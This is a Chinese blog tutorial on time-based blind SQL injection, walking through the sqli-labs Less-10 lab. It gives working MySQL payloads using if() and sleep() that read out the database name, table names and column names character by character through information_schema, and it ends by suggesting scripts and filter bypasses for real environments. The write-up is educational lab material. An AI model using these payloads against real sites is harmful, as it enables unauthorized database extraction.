基于时间的盲注

Posted by Tattoo on 2019-01-12
Estimated Reading Time 4 Minutes
Words 1.1k In Total
Viewed Times

时间盲注原理

通过响应时间的不同来判断,从而识别数据库中的信息,与布尔盲注十分相似,但又有一些不同。

即页面存在SQL注入漏洞,但页面不会回显数据,也不会回显错误信息。语句执行后也不提示真假,真与假返回的页面都是一样的,我们不能通过页面的内容来判断,但我们可以构造payload,通过页面响应的时长,来判断信息,这就是时间盲注!

时间盲注方法

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行。

核心语法:
  if(left(database(),1)=’a’,0,sleep(3));
  if(ascii(substr(database(),1,1))>97,0,sleep(3));

核心语法解释:
  如果数据库的第一位字符为a,为真时程序立即执行,否则执行sleep(3)。根据页面的响应时间判断内容是否正确。

  if(x1,x2,x3) 如果x1正确则执行x2,否则执行x3
  ascii() 将某个字符转换为ascii值(用该函数可以减少出现单引号,避免被过滤)
  left(a,b) 从左侧截取a的前b位
  database() 显示数据库
  %23 是注释符#的URL编码

  • 检测是否存在注入:

通过查看sqli-labs/less-10源代码得知,在把参数id代入数据库查询之前,在id两边分别加上了一个双引号,所以要添加一个双引号闭合前面的双引号。无论在参数id后面添加什么,页面都是返回一样的页面。

  • 判断数据库信息:
  1. 判断当前数据库第一个字符:
1
id=1" and if(left(database(),1)='a',0,sleep(3))--+


  页面延迟三秒才执行,说明当前数据库名的第一位字符不是a

1
id=1" and if(left(database(),1)='s',0,sleep(3))--+


  页面立即执行,说明当前数据库名的第一位字符为s

  ……

  以此类推,判断出当前数据库名security
  (tips:可以通过开发者工具F12查看页面的运行时间)

  • 判断数据库表信息:
  1. 判断第一个表的第一个字符:
1
id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='i',0,sleep(3))--+


  页面延迟三秒才执行,说明当前数据库的第一个表的第一个字符不是i

1
id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+


  页面立即执行,说明当前数据库的第一个表的第一个字符为e

  1. 判断第一个表的第二个字符:
1
id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em',0,sleep(3))--+


  页面立即执行,说明当前数据库的第一个表的第二个字符为m

  ……

  判断出第一个表名为emails

  1. 判断第二个表的第一个字符:
1
id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',0,sleep(3))--+


  页面立即执行,说明当前数据库的第一个表的第一个字符为r

  ……

  判断出第二个表名为referee

  以此类推,判断出当前数据库的所有表名

  • 判断数据库列信息:
  1. 判断第一个表的第一列的第一个字符:
1
id=1" and if(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)='i',0,sleep(3))--+


  页面立即执行,说明当前数据库的第一个表的第一列的第一个字符为i

  ……

  判断出第一个表的第一列名为id

  1. 判断第一个表的第二列的第一个字符:
1
id=1" and if(left((select column_name from information_schema.columns where table_name='emails' limit 1,1),1)='e',0,sleep(3))--+


  页面立即执行,说明当前数据库的第一个表的第二列的第一个字符为e

  ……

  判断出第一个表的第二列名为email_id

  以此类推,判断出当前数据库的所有表的所有列名

总结

  通过上面步骤可以看出,手工注入非常耗时,当我们熟悉了原理之后,可以利用工具或者自己写一些脚本来帮助我们提高效率。实际环境中,很多常用的函数会被过滤,需要自己尝试如何绕过。


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !